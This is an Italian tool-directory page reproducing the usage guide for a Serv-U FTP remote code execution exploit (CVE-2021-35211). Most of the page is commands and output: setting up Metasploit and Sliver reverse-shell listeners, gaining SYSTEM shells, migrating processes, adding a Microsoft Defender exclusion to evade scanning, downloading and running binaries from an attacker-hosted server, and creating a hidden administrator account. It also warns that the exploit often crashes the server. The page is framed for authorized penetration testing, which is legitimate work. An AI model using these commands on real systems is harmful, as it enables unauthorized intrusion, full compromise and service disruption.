Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-35211 — Serv-U-FTP CVE-2021-35211 exploit | Kitploit
Strumenti/GitHubGitHub/0xhaggis/cve-2021-35211
Analisi delle VulnerabilitàExploitShellcodePenetration TestingCommand and ControlStrumento di Accesso RemotoSviluppo PayloadBinary Exploitation
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Serv-U-FTP CVE-2021-35211 exploit

Vedi Repository
14 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Exploit Serv-U CVE-2021-35211

Potenziale per DoS - verifica le tue regole di ingaggio

L'exploit non funziona sempre, ma funziona abbastanza da eseguire shellcode in circa 1 su 5 o 6 tentativi. Tuttavia, a volte un exploit fallito può mandare in crash il server Serv-U. Assicurati che le tue regole di ingaggio permettano il rischio di perdita o degrado del servizio. I sintomi osservati nei test includono:

  • crash e riavvio automatico (più comune)
  • disconnessione degli utenti connessi durante tentativi riusciti e non riusciti
  • crash senza riavvio automatico

Caveat emptor.

Avvio rapido

Le versioni sono importanti. Questo exploit utilizza indirizzi ROP hard-coded validi solo per la versione 15.2.3.717 di Serv-U. Potremmo essere in grado di aggiungere altre versioni, per favore chiedi se ti serve che funzioni con versioni diverse di Serv-U o Windows.

Controlla la versione sul tuo target

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Esecuzione dell'exploit

Richiede i seguenti argomenti:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Ci sono tre modalità (o payload) che puoi eseguire in un attacco riuscito:

  1. stage
  2. exec
  3. downloadexec

Modalità Stage

Se l'exploit ha successo, esegue uno stager di shellcode compatibile con Metasploit/Sliver. È il meno affidabile di tutti i payload; considera downloadexec come alternativa. Esegui in questo modo:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname o indirizzo IPv4 della tua istanza di staging shellcode Metasploit/Sliver
  stagePort   Numero di porta per la tua istanza di staging

optional arguments:
  -h, --help  mostra questo messaggio di aiuto ed esci

stageHost e stagePort punteranno a un handler in ascolto sulla tua macchina Sliver/Metasploit. Puoi scegliere qualsiasi payload tu voglia, ma ho scoperto che l'unico che funziona in modo affidabile è windows/x64/shell/reverse_tcp. È un peccato perché questa non è una shell crittografata e dovrai verificare le tue regole di ingaggio prima di lanciare qualcosa del genere.

Ancora una volta, caveat emptor.

Impostalo in Metasploit in esecuzione sulla tua macchina kali in questo modo:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Quindi esegui l'exploit:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Sulla macchina kali dovresti vedere la richiesta di stage e l'avvio della shell command:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

Il supporto di Sliver nel payload stager è altamente sperimentale e raramente funziona. Se funziona, normalmente vedrai le sessioni avviarsi e morire immediatamente. Ma se ottieni una sessione che non termina immediatamente, puoi prendere provvedimenti per mantenere l'accesso Sliver migrando verso un processo diverso.

Sul tuo server Sliver esegui il comando stage-listener per configurare il tuo listener. Vedi la documentazione di Sliver per maggiori dettagli sullo staging:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Esegui l'exploit in modalità stage:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Se l'exploit funziona (e funziona molto raramente con payload Sliver o Meterpreter), vedrai qualcosa del genere (e sì, Sliver ha inventato quel nome di payload da solo!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

La prima cosa da fare è migrare verso un processo diverso perché c'è una buona probabilità che la tua sessione Sliver muoia e non torni, e al momento non conosco la causa principale.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

A questo punto dovresti avere una sessione Sliver solida, immune agli imprevisti di Serv-U e di questo exploit.

Modalità Download ed esecuzione

La modalità più affidabile e meno probabile di essere rilevata dalla sicurezza endpoint di Microsoft Defender. Questo perché utilizza un comando Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") per aggiungere un'esclusione di directory a Microsoft Defender in modo che i binari Sliver/Meterpreter/qualunque non vengano scansionati per malware. Questo ti proteggerà da Windows Defender, ma niente di più; dovrai tenere conto di altre tecnologie di sicurezza endpoint, IDS di rete, ecc.

In caso di successo, scarica un binario da un URL e lo esegue. Avrai bisogno di un webserver che ospiti il tuo file eseguibile. Ho usato Python, ma nota che sto testando su una rete locale senza SSL. In exploit reali dovrai verificare le tue regole di ingaggio se vuoi usare URL non crittografati.

Non per la prima volta: caveat emptor.

Esegui un semplice listener HTTP in questo modo:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Con il listener in esecuzione puoi eseguire l'exploit:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Dovresti vedere qualcosa del genere nel tuo listener:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

Il target eseguirà calc.exe e riavvierà il servizio Serv-U per permettere agli utenti di riconnettersi. Nota che l'eseguibile non mostrerà una finestra, ma se esegui questo esempio dovresti vedere wincalc.exe in Task Manager.

Modalità Esecuzione comandi

In caso di successo, esegue un comando sul target. Esegui in questo modo:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Crediti

  • I ricercatori Microsoft che hanno fuzzato la vulnerabilità: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson ha realizzato il PoC su cui si basa il mio codice: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Considerazioni finali

Questo exploit tende purtroppo a mandare in crash il processo remoto. Generalmente si riavvia e sto cercando di vedere se posso renderlo più stabile, ma fino ad allora per favore ricordati: verifica le tue regole di ingaggio e caveat emptor.

Scarica lo strumento